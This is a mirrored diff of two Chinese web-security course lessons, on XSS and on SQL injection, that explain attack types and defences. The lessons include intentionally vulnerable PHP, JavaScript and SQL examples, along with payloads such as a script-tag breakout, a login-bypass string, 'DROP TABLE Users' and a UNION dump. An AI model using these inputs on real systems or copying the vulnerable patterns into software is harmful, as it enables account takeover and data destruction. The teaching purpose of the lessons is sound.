mirror of
https://github.com/cheetahlou/CategoryResourceRepost.git
synced 2025-11-15 13:43:49 +08:00
mod
This commit is contained in:
224
极客时间专栏/安全攻防技能30讲/Web安全/06 | XSS:当你“被发送”了一条微博时,到底发生了什么?.md
Normal file
224
极客时间专栏/安全攻防技能30讲/Web安全/06 | XSS:当你“被发送”了一条微博时,到底发生了什么?.md
Normal file
@@ -0,0 +1,224 @@
|
||||
<audio id="audio" title="06 | XSS:当你“被发送”了一条微博时,到底发生了什么?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/c9/0f/c91815434c8e74d21fc9d6fd9908bd0f.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
在前面的课程中,我们重点讲解了安全的一些基础知识,更多地是从宏观的层面上来谈论安全。但**安全不是一个靠宏观指导就能够落地的东西**。因此,接下来我会结合真实案例中的各种安全问题,来介绍具体的安全防护手段和工具。今天,我们就先从最基础的Web安全开始。
|
||||
|
||||
在Web安全这个模块中,我们所谈论的Web,是指所有基于HTTP或者其他超文本传输协议(RPC等)开发的应用,包括:网页、App、API接口等等。这类应用的共同点是:通过HTTP等文本协议,在客户端和服务端之间进行数据交换。客户端需要将服务端传出的数据展示渲染出来,服务端需要将客户端传入的数据进行对应的处理。而Web安全所涉及的正是这些应用中存在的各类安全问题。
|
||||
|
||||
背景介绍完了,下面我们进入今天的正题。
|
||||
|
||||
基于前面安全基础知识的学习,你现在通过了面试官的考核,成功进入了这家公司。某一天,公司的网页应用中发生了一件事。
|
||||
|
||||
有很多用户发送了同样类型的内容,而且这些内容都是一个带有诱惑性的问题和一个可以点击的链接。这些用户全部反馈说,这不是他们自己发的。前端开发表示,用户内容都是后端产生的,他不负责。后端开发表示,这些内容都是用户自己提交上来的,他也不负责。正当大家议论纷纷的时候,你作为学习过安全专栏的人,敏锐地发现了问题的原因:这是黑客发起了XSS攻击。
|
||||
|
||||
这个事情的原型,其实是2011年微博真实出现的一次安全事件。整个事件的核心问题,其实出在这个可以点击的链接上。在这个事件中,黑客并不需要入侵到微博服务器中,只要用户点击了这个链接,就会“被发送”这样的博文。
|
||||
|
||||
这就是著名的XSS攻击所能够实现的效果。那么,XSS攻击究竟是怎么产生的呢?我们究竟该如何防护呢?今天我就带你来了解这个网页中最经典的XSS攻击。
|
||||
|
||||
## XSS攻击是如何产生的?
|
||||
|
||||
首先,我们来看,XSS攻击是如何产生的。作为最普遍的网页语言,HTML非常灵活,你可以在任意时候对HTML进行修改。但是,这种灵活性也给了黑客可趁之机:通过给定异常的输入,黑客可以在你的浏览器中,插入一段恶意的JavaScript脚本,从而窃取你的隐私信息或者仿冒你进行操作。这就是**XSS攻击**(Cross-Site Scripting,跨站脚本攻击)的原理。
|
||||
|
||||
你现在应该对XSS有了一个大致的了解,除此之外,你还需要了解三种XSS攻击,它们分别是:反射型XSS、基于DOM的XSS以及持久型XSS。下面我们一一来看。
|
||||
|
||||
### 1.反射型XSS
|
||||
|
||||
假设现在有一个搜索网页,当你输入任意一个关键词,并点击“搜索”按钮之后,这个网页就会给你展示“你搜索的结果内容是:XXX”。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a8/63/a80e92776bad0f35e8d7030806165163.jpg" alt="">
|
||||
|
||||
我们以PHP为例,这个网页的服务端实现逻辑如下所示:
|
||||
|
||||
```
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<form role="search" action="" method="GET">
|
||||
<input type="text" name="search" placeholder="请输入要搜索的内容">
|
||||
<button type="submit">搜索</button>
|
||||
</form>
|
||||
<?php
|
||||
if (isset($_GET['search']) && !empty($_GET['search'])) {
|
||||
$search = $_GET['search'];
|
||||
echo "<h3>你搜索的结果内容是:" . $search . "</h3>";
|
||||
}
|
||||
?>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
```
|
||||
|
||||
我们可以看到,这段代码的逻辑是将搜索框输入的内容,拼接成字符串,然后填充到最终的HTML中。而且这个过程中没有任何的过滤措施,如果黑客想要对这个过程发起攻击,他会输入下面这行代码:
|
||||
|
||||
```
|
||||
</h3><script>alert('xss');</script><h3>
|
||||
|
||||
```
|
||||
|
||||
黑客输入这段字符后,网页会弹出一个告警框(我自己测试的时候,发现部分浏览器,如Safari不会弹出告警框,这是因为浏览器自身提供了一定的XSS保护功能)。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f0/69/f0d2d16b482c9bbc5388250f2d34cc69.jpg" alt="">
|
||||
|
||||
通过查看网页的源码,可以发现,这中间多了一段JavaScript的脚本:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/29/98/29cff8464c5dd7b88dafb377e0439b98.jpg" alt="">
|
||||
|
||||
这就是我们所说的反射型XSS攻击的过程。其实它攻击的原理很简单。我们可以总结一下,即通过开头的`</h3>`和结尾的`<h3>`,将原本的`<h3>`标签进行闭合,然后中间通过`<script>`标签插入JavaScript代码并执行,就完成了整个反射型XSS的流程。
|
||||
|
||||
你可以注意一下浏览器的地址:[http://localhost/index.php?search=<%2Fh3><script>alert('xss')%3B<%2Fscript><h3>](http://localhost/index.php?search=%3C%2Fh3%3E%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E%3Ch3%3E) 。实际上,任何人只要点击了这个链接,就会执行一段黑客定义的JavaScript脚本。所以,我们经常说,不要点击任何未知的链接。
|
||||
|
||||
反射型XSS的总体流程我总结了一下,你可以看下面这张图。黑客诱导你点击了某个链接,这个链接提供的服务,可能就是上述的搜索功能。网页在解析到链接的参数后,执行正常的搜索逻辑,但是因为漏洞,网页中被填入了黑客定义的脚本。使得用户的浏览器,最终执行的是黑客的脚本。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b8/2c/b85f24cbc8243426fb270bcb74be682c.jpeg" alt="">
|
||||
|
||||
### 2.基于DOM的XSS
|
||||
|
||||
在上面的例子中我们可以看到,反射型XSS产生在前后端一体的网页应用中,服务端逻辑会改变最终的网页代码。但是,目前更流行的其实是前后端分离,这样网页的代码不会受服务端影响。那么,这样是不是就安全了呢?
|
||||
|
||||
显然不是的。尽管服务端无法改变网页代码,但网页本身的JavaScript仍然可以改变。而黑客只要利用了这一点,同样能够在网页中插入自己的脚本。这也就是所谓的基于DOM的XSS漏洞。
|
||||
|
||||
对于上述搜索功能,通过前后端分离,它的源码就变成了下面这样:
|
||||
|
||||
```
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<form role="search" action="" method="GET">
|
||||
<input type="text" name="search" placeholder="请输入要搜索的内容">
|
||||
<button type="submit">搜索</button>
|
||||
</form>
|
||||
<script>
|
||||
var search = location.search.substring(8);
|
||||
document.write('你搜索的结果内容是:' + decodeURIComponent(search));
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
这段代码能够实现和之前的PHP代码相同的逻辑:当你在搜索框点击搜索关键词之后,网页会展示你输入的关键词。只不过,HTML是通过JavaScript脚本修改[DOM](https://baike.baidu.com/item/%E6%96%87%E6%A1%A3%E5%AF%B9%E8%B1%A1%E6%A8%A1%E5%9E%8B/1033822?fromtitle=DOM&fromid=50288&fr=aladdin)来实现这个功能的。
|
||||
|
||||
那么和上述例子一样,在基于DOM的XSS中,黑客也可以通过插入一段`<script>alert('xss');</script>`来执行指定的JavaScript脚本。基于DOM的XSS总体流程如下图所示。可以看到,这个流程其实和反射型XSS一致,只是不需要经过服务端了而已。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ac/bf/ac0ce9c0f42db7dd48cb155228b7b1bf.jpeg" alt="">
|
||||
|
||||
### 3.持久型XSS
|
||||
|
||||
你可以回想一下,当你在网页中搜索一个关键词时,实际上与这个关键词相关的所有搜索结果都会被展示出来。一旦这些搜索结果中,包含黑客提供的某个恶意JavaScript脚本,那么只要我们浏览了这个网页,就有可能会执行这些脚本。这就是持久型XSS。因为这些恶意的搜索结果,会长期保存在服务端数据库中,所以它又叫作存储型XSS。在应用中,存储用户的输入并对它们进行展示的地方,都可能出现持久型XSS。比如:搜索结果、评论、博文等等。
|
||||
|
||||
有了前面的铺垫,持久型XSS的产生过程就很好理解了,具体我就不细说了,我还是把总体流程画了一张图,你可以仔细看看。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2e/75/2e8c429f46837b3f46a276e462c93175.jpeg" alt="">
|
||||
|
||||
相比前面两种XSS攻击来说,持久型XSS往往具备更强的危害性。因为对于一个反射型或者基于DOM的XSS来说,需要黑客诱导用户点击恶意的URL,才能够成功地在用户浏览器上执行JavaScript脚本。这对黑客在诱导用户操作方面的能力提出了考验:并不是所有的用户都是小白,一些有经验的用户会在点击链接前进行一定的考虑。
|
||||
|
||||
而持久型XSS则不同,它是将恶意的JavaScript脚本写入到了正常的服务端数据库中,因此,只要用户正常的使用业务功能,就会被注入JavaScript脚本。所以说,持久型XSS在传播速度和传播范围上,会远远超出其他类型的XSS。
|
||||
|
||||
## 通过XSS攻击,黑客能做什么?
|
||||
|
||||
我们知道,这3种XSS攻击,都是因为黑客在用户的浏览器中执行了恶意的JavaScript脚本。那么执行这些JavaScript脚本有什么样的危害呢?我把这些危害总结了一下,可以分为下面几种。
|
||||
|
||||
### 1.窃取Cookie
|
||||
|
||||
从上面的例子中,我们可以看到,黑客可以窃取用户的Cookie。因为黑客注入的JavaScript代码是运行在server.com这个域名下的,因此,黑客可以在JavaScript中通过document.cookie获得Cookie信息。
|
||||
|
||||
另外,需要我们注意的是,受[SOP](https://baike.baidu.com/item/%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5/3927875?fr=aladdin)(Same Origin Policy,同源策略)保护,我们在server.com中是无法直接向hacker.com发送GET或者POST请求的。这也是为什么,在上面的例子中,我们需要通过window.location来执行跳转操作,间接地将Cookie信息发送出去。除了window.location之外,我们还可以通过加载JavaScript文件、图片等方式,向attacker.com发送带有Cookie的GET请求。
|
||||
|
||||
### 2.未授权操作
|
||||
|
||||
除了窃取敏感信息以外,黑客还可以利用JavaScript的特性,直接代替用户在HTML进行各类操作。
|
||||
|
||||
在文章开头,我们提到的微博XSS攻击事件中,黑客就利用JavaScript脚本,让用户发送了一个微博,微博中同时还带有反射型XSS的链接。这样一来,每个点击链接的用户都会通过微博的形式,诱导更多的用户点击链接,一传十、十传百,造成大范围的传播。
|
||||
|
||||
### 3.按键记录和钓鱼
|
||||
|
||||
窃取Cookie和未授权操作都是我们很容易想到的危害,除此之外,JavaScript还能做什么呢?
|
||||
|
||||
JavaScript的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息等。也就是说,你输入的账号名和密码,都可以被JavaScript记录下来,从而被黑客获取到。
|
||||
|
||||
另外,即使某个存在XSS漏洞的页面不具备任何输入框,黑客还可以通过修改DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。这也是“钓鱼”的一种形式,在这个过程中用户访问的域名是完全正常的,只是页面被篡改了,所以具备更高的迷惑性。
|
||||
|
||||
## 如何进行XSS防护?
|
||||
|
||||
认识到XSS的危害之后,作为开发人员,我们最应该掌握的是,如何避免在开发过程中出现XSS漏洞。接下来我们就来看一看,具体有哪些防护方法。
|
||||
|
||||
### 1.验证输入OR验证输出
|
||||
|
||||
防护的核心原则是:**一切用户输入皆不可信**。你的第一反应一定是,这很好实现啊,当接收到用户的输入时,我们就进行验证,这不就做到了吗?实际上并不是这么简单的,我们还是通过搜索这个例子来看。在用户点击“搜索”按钮之后,如果我们马上对他输入的内容进行验证,这样就会产生两个问题。
|
||||
|
||||
1.你将无法保存用户的原始输入信息。这样一来,当出现了Bug或者想要对黑客行为进行溯源时,你只能“推断”,而不能准确地获取用户的原始输入。
|
||||
|
||||
2.用户的内容可能会被多种语言获取和使用,提前编码或者处理,将产生未知的问题。比如,在旧版本的PHP中,就存在“[magic quotes](https://www.php.net/manual/en/security.magicquotes.php)”的漏洞,因为PHP无法处理某些编码的字符而导致崩溃。
|
||||
|
||||
**因此,我更推荐在需要输出的时候去进行验证**,即当需要展示的时候,我们再对内容进行验证,这样我们就能够根据不同的环境去采取不同的保护方案了。
|
||||
|
||||
在HTML中,常见的XSS注入点我已经总结好了,你可以看下面这个表格:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7c/a0/7c1b9b3da33247963c2c1bf38ae184a0.jpeg" alt="">
|
||||
|
||||
### 2.编码
|
||||
|
||||
现在,我们已经理解了,**XSS防护的核心原则就是验证**,那具体该怎么去做验证呢?我认为,我们可以优先采用编码的方式来完成。所谓编码,就是将部分浏览器识别的关键词进行转换(比如<和>),从而避免浏览器产生误解。对于客户端来说,编码意味着,使用JavaScript提供的功能对用户内容进行处理。具体的方法我也总结了一下,你可以看这个表格。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ca/1e/ca06351dcf763b86bb8bef554763bc1e.jpeg" alt="">
|
||||
|
||||
对于最后一个注入点,即在JavaScript中进行注入,目前还没有内置的编码方式来对它提供保护。你当然可以通过诸如URL编码等方式进行编码,但这有可能对应用的自身逻辑产生影响。因此,JavaScript中的注入并不适合通过编码来进行保护。
|
||||
|
||||
### 3.检测和过滤
|
||||
|
||||
但是,在很多时候,编码会对网页实际的展现效果产生影响。比如,原本用户可能想展示一个1>0,却被编码展示成了1&gt0。尽管网络环境安全了,却对用户造成了困扰。那么,我们还可以采取哪些方法进行验证呢?接下来我就为你介绍一下检测和过滤。
|
||||
|
||||
首先,我们需要对用户的内容进行检测。在这里,我们可以采用黑名单和白名单的规则。黑名单往往是我们最直接想到的方法:既然黑客要插入`<javascript>`标签,那么我们就检测用户内容中是否存在`<javascript>`标签就好了。
|
||||
|
||||
但是,黑客的攻击方法是无穷无尽的。你检测了`<javascript>`,黑客就可以改成`<JavaScript>`(因为HTML标签对大小写不敏感),甚至有些时候还能够编码成`&#106;avascript`等等。另外,HTML5的发展速度很快,总是有新的标签被开发出来,这些新标签中也可能包含新的注入点。因此,黑名单的更新和维护过程,是需要我们和黑客进行长期对抗的过程
|
||||
|
||||
所以,在检测中,**我更推荐使用白名单的规则**。因为白名单的规则比较简单,并且十分有效。比如,在只输入一个分数的地方,规定只有整型变量是合法的。这样一来,你就能够检测出99.99%的攻击行为了。
|
||||
|
||||
说完了检测,那当发现某个用户的内容可能存在XSS攻击脚本时,我们该怎么处理呢?这个时候,处理选项有两个:拒绝或者过滤。毫无疑问,拒绝是最安全的选项。一旦你发现可能的XSS攻击脚本,只要不将这段用户内容展现出来,就能避免可能的攻击行为。
|
||||
|
||||
但是,拒绝会阻碍用户的使用流程,从用户体验的角度上来考虑的话,过滤会更被用户所接受。上面提到的编码就属于一种过滤的方式。除此之外,我们也可以直接对敏感字符进行替换删除等。需要注意的是,在替换的时候,一定不能采取黑名单的形式(比如:将javascript进行删除,那黑客就可以通过JavaScript来绕过),而是**应该采取白名单的形式**(比如,除了div之外的标签全部删除)。
|
||||
|
||||
同样地,**过滤的流程也必须彻底**。比如,我看到过有人采用下面这行字符串来过滤javascript标签:
|
||||
|
||||
```
|
||||
$str=str_replace('<javascript>','',$str);
|
||||
|
||||
```
|
||||
|
||||
但黑客只需要将str的值变成`<java<javascript>script>`就可以了,因为`str_replace('<javascript>','','<java<javascript>script>')`的结果就是`<javascript>`。
|
||||
|
||||
### 4.CSP
|
||||
|
||||
面对XSS这样一个很普遍的问题,W3C提出了CSP(Content Security Policy,内容安全策略)来提升Web的安全性。所谓CSP,就是在服务端返回的HTTP header里面添加一个Content-Security-Policy选项,然后定义资源的白名单域名。浏览器就会识别这个字段,并限制对非白名单资源的访问。
|
||||
|
||||
配置样例如下所示:
|
||||
|
||||
```
|
||||
Content-Security-Policy:default-src ‘none’; script-src ‘self’;
|
||||
connect-src ‘self’; img-src ‘self’; style-src ‘self’;
|
||||
|
||||
```
|
||||
|
||||
那我们为什么要限制外域资源的访问呢?这是因为XSS通常会受到长度的限制,导致黑客无法提交一段完整的JavaScript代码。为了解决这个问题,黑客会采取引用一个外域JavaScript资源的方式来进行注入。除此之外,限制了外域资源的访问,也就限制了黑客通过资源请求的方式,绕过SOP发送GET请求。目前,CSP还是受到了大部分浏览器支持的,只要用户使用的是最新的浏览器,基本都能够得到很好的保护。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,我们讲了XSS的攻击类型、会产生的影响,以及如何对它进行防护。下面我来带你总结回顾一下,你要掌握的重点内容。
|
||||
|
||||
简单来说,XSS就是利用Web漏洞,在用户的浏览器中执行黑客定义的JavaScript脚本,这样一种攻击方式。根据攻击方式的不同,可以分为:反射型XSS、基于DOM的XSS和持久型XSS。通过在用户的浏览器中注入脚本,黑客可以通过各种方式,采集到用户的敏感信息,包括:Cookie、按键记录、密码等。
|
||||
|
||||
预防XSS主要通过对用户内容的验证来完成。首先,我推荐在需要展示用户内容的时候去进行验证,而不是当用户输入的时候就去验证。在验证过程中,我们优先采用编码的方式来完成。如果编码影响到了业务的正常功能,我们就可以采用白名单的检测和过滤方式来进行验证。除此之外,我们可以根据业务需要,配置合适的CSP规则,这也能在很大程度上降低XSS产生的影响。
|
||||
|
||||
另外,在这里,我把本节课的重点内容梳理了一个脑图。你可以根据它来查漏补缺,加深印象。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/48/20/48a923998b80ad2f1c2a274704690e20.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
好了,通过今天的学习,相信你已经了解了什么是XSS攻击。你可以试着分析一下,文章开头提到的事件中,黑客是利用哪种类型的XSS发起的攻击呢?我们应该怎么进行防御呢?
|
||||
|
||||
另外,在事件中我也描述了开发“甩锅”的场景:前端也好、后端也好,开发人员都不认为是自己的问题。那么,你认为出现这种安全事件,应该由谁来“背锅”呢?是开发、运维还是安全负责人呢?
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
204
极客时间专栏/安全攻防技能30讲/Web安全/07 | SQL注入:明明设置了强密码,为什么还会被别人登录?.md
Normal file
204
极客时间专栏/安全攻防技能30讲/Web安全/07 | SQL注入:明明设置了强密码,为什么还会被别人登录?.md
Normal file
@@ -0,0 +1,204 @@
|
||||
<audio id="audio" title="07 | SQL注入:明明设置了强密码,为什么还会被别人登录?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/00/99/003ab9fe4ffc1a14553f767cba654c99.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
在上一讲中,我们介绍了XSS攻击。今天,我们来介绍另外一种常见的Web攻击:SQL注入。
|
||||
|
||||
在讲正文之前,让我们先来看一个案例。某天,当你在查看应用的管理后台时,发现有很多异常的操作。接着,你很快反应过来了,这应该是黑客成功登录了管理员账户。于是,你立刻找到管理员,责问他是不是设置了弱密码。管理员很无辜地表示,自己的密码非常复杂,不可能泄露,但是为了安全起见,他还是立即修改了当前的密码。奇怪的是,第二天,黑客还是能够继续登录管理员账号。问题来了,黑客究竟是怎么做到的呢?你觉得这里面的问题究竟出在哪里呢?你可以先自己思考一下,然后跟着我开始今天的学习!
|
||||
|
||||
## SQL注入攻击是如何产生的?
|
||||
|
||||
在上一讲中,我们讲了,XSS是黑客通过篡改HTML代码,来插入并执行恶意脚本的一种攻击。其实,SQL注入和XSS攻击很类似,都是黑客通过篡改代码逻辑发起的攻击。那么,不同的点是什么?SQL注入到底是什么呢?
|
||||
|
||||
通常来说,我们会将应用的用户信息存储在数据库中。每次用户登录时,都会执行一个相应的SQL语句。这时,黑客会通过构造一些恶意的输入参数,在应用拼接SQL语句的时候,去篡改正常的SQL语意,从而执行黑客所控制的SQL查询功能。这个过程,就相当于黑客“注入”了一段SQL代码到应用中。这就是我们常说的**SQL注入**。
|
||||
|
||||
这么说可能还是有点理论,不够具体。接下来,我就以几个简单而又经典的示例,来给你介绍两种主要的SQL注入方式。
|
||||
|
||||
### 1.修改WHERE语句
|
||||
|
||||
我们先来看一个例子。现在有一个简单的登录页面,需要用户输入Username和Password这两个变量来完成登录。具体的Web后台代码如下所示:
|
||||
|
||||
```
|
||||
uName = getRequestString("username");
|
||||
uPass = getRequestString("password");
|
||||
|
||||
sql = 'SELECT * FROM Users WHERE Username ="' + uName + '" AND Password ="' + uPass + '"'
|
||||
|
||||
```
|
||||
|
||||
当用户提交一个表单(假设Username为admin,Password为123456)时,Web将执行下面这行代码:
|
||||
|
||||
```
|
||||
SELECT * FROM Users WHERE Username ="admin" AND Password ="123456"
|
||||
|
||||
```
|
||||
|
||||
用户名密码如果正确的话,这句SQL就能够返回对应的用户信息;如果错误的话,不会返回任何信息。因此,只要返回的行数≥1,就说明验证通过,用户可以成功登录。
|
||||
|
||||
所以,当用户正常地输入自己的用户名和密码时,自然就可以成功登录应用。那黑客想要在不知道密码的情况下登录应用,他又会输入什么呢?他会输入 **`" or ""="`**。这时,应用的数据库就会执行下面这行代码:
|
||||
|
||||
```
|
||||
SELECT * FROM Users WHERE Username ="" AND Password ="" or ""=""
|
||||
|
||||
```
|
||||
|
||||
我们可以看到,WHERE语句后面的判断是通过or进行拼接的,其中""=""的结果是true。那么,当有一个or是true的时候,最终结果就一定是true了。因此,这个WHERE语句是恒为真的,所以,数据库将返回全部的数据。
|
||||
|
||||
这样一来,我们就能解答文章开头的问题了,也就是说,黑客只需要在登录页面中输入 **`" or ""="`**,就可以在不知道密码的情况下,成功登录后台了。而这,也就是所谓的“万能密码”。而这个“万能密码”,其实就是通过修改WHERE语句,改变数据库的返回结果,实现无密码登录。
|
||||
|
||||
### 2.执行任意语句
|
||||
|
||||
除此之外,大部分的数据库都支持多语句执行。因此,黑客除了修改原本的WHERE语句之外,也可以在原语句的后面,插入额外的SQL语句,来实现任意的增删改查操作。在实际工作中,MySQL是最常用的数据库,我们就以它为例,来介绍一下,任意语句是如何执行的。
|
||||
|
||||
在MySQL中,实现任意语句执行最简单的方法,就是利用分号将原本的SQL语句进行分割。这样,我们就可以一次执行多个语句了。比如,下面这个语句在执行的时候会先插入一个行,然后再返回Users表中全部的数据。
|
||||
|
||||
```
|
||||
INSERT INTO Users (Username, Password) VALUES("test","000000"); SELECT * FROM Users;
|
||||
|
||||
```
|
||||
|
||||
接下来,我们来看一个具体的例子。在用户完成登录后,应用通常会通过userId来获取对应的用户信息。其Web后台的代码如下所示:
|
||||
|
||||
```
|
||||
uid = getRequestString("userId");
|
||||
sql = "SELECT * FROM Users WHERE UserId = " + uid;
|
||||
|
||||
```
|
||||
|
||||
在这种情况下,黑客只要在传入的userId参数中加入一个分号,就可以执行任意的SQL语句了。比如,黑客想“删库跑路”的话,就令userId为 **`1;DROP TABLE Users`**,那么,后台实际执行的SQL就会变成下面这行代码,而数据库中所有的用户信息就都会被删除。
|
||||
|
||||
```
|
||||
SELECT * FROM Users WHERE UserId = 1;DROP TABLE Users
|
||||
|
||||
```
|
||||
|
||||
SQL注入的“姿势”还有很多(比如:[没有回显的盲注](https://www.freebuf.com/articles/web/175049.html)、[基于INSERT语句的注入](https://www.jianshu.com/p/1f82582452df?utm_campaign)等等),它们的原理都是一样的,都是通过更改SQL的语义来执行黑客设定的SQL语句。如果你有兴趣,可以通过我前面给出的链接去进一步了解。
|
||||
|
||||
## 通过SQL注入攻击,黑客能做什么?
|
||||
|
||||
通过上面对SQL注入的简单介绍,我们已经知道,SQL注入会令Web后台执行非常规的SQL语句,从而导致各种各样的问题。那么通过SQL注入攻击,黑客究竟能够干些什么呢?下面我们就一一来看。
|
||||
|
||||
### 1.绕过验证
|
||||
|
||||
在上面的内容中,我们已经介绍过,**`" or ""="`** 作为万能密码,可以让黑客在不知道密码的情况下,通过登录认证。因此,SQL注入最直接的利用方式,就是绕过验证,也就相当于身份认证被破解了。
|
||||
|
||||
### 2.任意篡改数据
|
||||
|
||||
除了绕过验证,我们在任意语句执行的部分中讲到,SQL注入漏洞导致黑客可以执行任意的SQL语句。因此,通过插入DML类的SQL语句(INSERT、UPDATE、DELETE、TRUNCATE、DROP等),黑客就可以对表数据甚至表结构进行更改,这样数据的完整性就会受到损害。比如上面例子中,黑客通过插入DROP TABLE Users,删除数据库中全部的用户。
|
||||
|
||||
### 3.窃取数据
|
||||
|
||||
在XSS漏洞中,黑客可以通过窃取Cookie和“钓鱼”获得用户的隐私数据。那么,在SQL注入中,黑客会怎么来获取这些隐私数据呢?
|
||||
|
||||
在各类安全事件中,我们经常听到“拖库”这个词。所谓“拖库”,就是指黑客通过类似SQL注入的手段,获取到数据库中的全部数据(如用户名、密码、手机号等隐私数据)。最简单的,黑客利用UNION关键词,将SQL语句拼接成下面这行代码之后,就可以直接获取全部的用户信息了。
|
||||
|
||||
```
|
||||
SELECT * FROM Users WHERE UserId = 1 UNION SELECT * FROM Users
|
||||
|
||||
```
|
||||
|
||||
### 4.消耗资源
|
||||
|
||||
通过[第1讲](https://time.geekbang.org/column/article/176567)对CIA三元组的学习,我们知道,除了获取数据之外,影响服务可用性也是黑客的目标之一。
|
||||
|
||||
SQL注入破坏可用性十分简单,可以通过完全消耗服务器的资源来实现。比如,在Web后台中,黑客可以利用WHILE打造死循环操作,或者定义存储过程,触发一个无限迭代等等。在这些情况下,数据库服务器因为CPU被迅速打满,持续100%,而无法及时响应其他请求。
|
||||
|
||||
总结来说,通过SQL注入攻击,黑客可以绕过验证登录后台,非法篡改数据库中的数据;还能执行任意的SQL语句,盗取用户的隐私数据影响公司业务等等。所以,我认为,SQL注入相当于让黑客直接和服务端的数据库进行了交互。正如我们一直所说的,应用的本质是数据,黑客控制了数据库,也就相当于控制了整个应用。
|
||||
|
||||
## 如何进行SQL注入防护 ?
|
||||
|
||||
在认识到SQL注入的危害之后,我们知道,一个简单的SQL查询逻辑,能够带来巨大的安全隐患。因此,我们应该做到在开发过程中就避免出现SQL注入漏洞。那具体应该怎么做呢?接下来,我会为你介绍3种常见的防护方法,它们分别是:使用PreparedStatement、使用存储过程和验证输入。接下来,我们一一来看。
|
||||
|
||||
### 1.使用PreparedStatement
|
||||
|
||||
通过**合理地**使用PreparedStatement,我们就能够避免99.99%的SQL注入问题。你肯定很好奇,我为什么会这么说。接下来,让我们一起看一下它的实现过程。
|
||||
|
||||
当数据库在处理一个SQL命令的时候,大致可以分为两个步骤:
|
||||
|
||||
- 将SQL语句解析成数据库可使用的指令集。我们在使用EXPLAIN关键字分析SQL语句,就是干的这个事情;
|
||||
- 将变量代入指令集,开始实际执行。之所以在批量处理SQL的时候能够提升性能,就是因为这样做避免了重复解析SQL的过程。
|
||||
|
||||
那么PreparedStatement为什么能够避免SQL注入的问题呢?
|
||||
|
||||
这是因为,SQL注入是在解析的过程中生效的,用户的输入会影响SQL解析的结果。因此,我们可以通过使用PreparedStatement,将SQL语句的解析和实际执行过程分开,只在执行的过程中代入用户的操作。这样一来,无论黑客提交的参数怎么变化,数据库都不会去执行额外的逻辑,也就避免了SQL注入的发生。
|
||||
|
||||
在Java中,我们可以通过执行下面的代码将解析和执行分开:
|
||||
|
||||
```
|
||||
String sql = "SELECT * FROM Users WHERE UserId = ?";
|
||||
PreparedStatement statement = connection.prepareStatement(sql);
|
||||
statement.setInt(1, userId);
|
||||
ResultSet results = statement.executeQuery();
|
||||
|
||||
|
||||
```
|
||||
|
||||
为了实现相似的效果,在PHP中,我们可以使用PDO(PHP Data Objects);在C#中,我们可以使用OleDbCommand等等。
|
||||
|
||||
这里有一点需要你注意,前面我们说了,通过合理地使用PreparedStatement就能解决99.99%的SQL注入问题,那到底怎么做才算“合理地”使用呢?
|
||||
|
||||
PreparedStatement为SQL语句的解析和执行提供了不同的“方法”,你需要分开来调用。但是,如果你在使用PreparedStatement的时候,还是通过字符串拼接来构造SQL语句,那仍然是将解析和执行放在了一块,也就不会产生相应的防护效果了。我这里给你展示了一个错误案例,你可以和上面的代码进行对比。
|
||||
|
||||
```
|
||||
String sql = "SELECT * FROM Users WHERE UserId = " + userId;
|
||||
PreparedStatement statement = connection.prepareStatement(sql);
|
||||
ResultSet results = statement.executeQuery();
|
||||
|
||||
```
|
||||
|
||||
### 2.使用存储过程
|
||||
|
||||
接下来,我们说一说,如何使用[存储过程](https://baike.baidu.com/item/%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B/1240317?fr=aladdin)来防止SQL注入。实际上,它的原理和使用PreparedStatement类似,都是通过将SQL语句的解析和执行过程分开,来实现防护。区别在于,存储过程防注入是将解析SQL的过程,由数据库驱动转移到了数据库本身。
|
||||
|
||||
还是上述的例子,使用存储过程,我们可以这样来实现:
|
||||
|
||||
```
|
||||
delimiter $$ #将语句的结束符号从分号;临时改为两个$$(可以是自定义)
|
||||
CREATE PROCEDURE select_user(IN p_id INTEGER)
|
||||
BEGIN
|
||||
SELECT * FROM Users WHERE UserId = p_id;
|
||||
END$$
|
||||
delimiter; #将语句的结束符号恢复为分号
|
||||
|
||||
call select_user(1);
|
||||
|
||||
```
|
||||
|
||||
### 3.验证输入
|
||||
|
||||
在上一节课中,我们讲过,**防护的核心原则是,一切用户输入皆不可信**。因此,SQL注入的防护手段和XSS其实也是相通的,主要的不同在于:
|
||||
|
||||
- SQL注入的攻击发生在输入的时候,因此,我们只能在输入的时候去进行防护和验证;
|
||||
- 大部分数据库不提供针对SQL的编码,因为那会改变原有的语意,所以SQL注入没有编码的保护方案。
|
||||
|
||||
因此,对所有输入进行验证或者过滤操作,能够很大程度上避免SQL注入的出现。比如,在通过userId获取Users相关信息的示例中,我们可以确认userId必然是一个整数。因此,我们只需要对userId参数,进行一个整型转化(比如,Java中的Integer.parseInt,PHP的intval),就可以实现防护了。
|
||||
|
||||
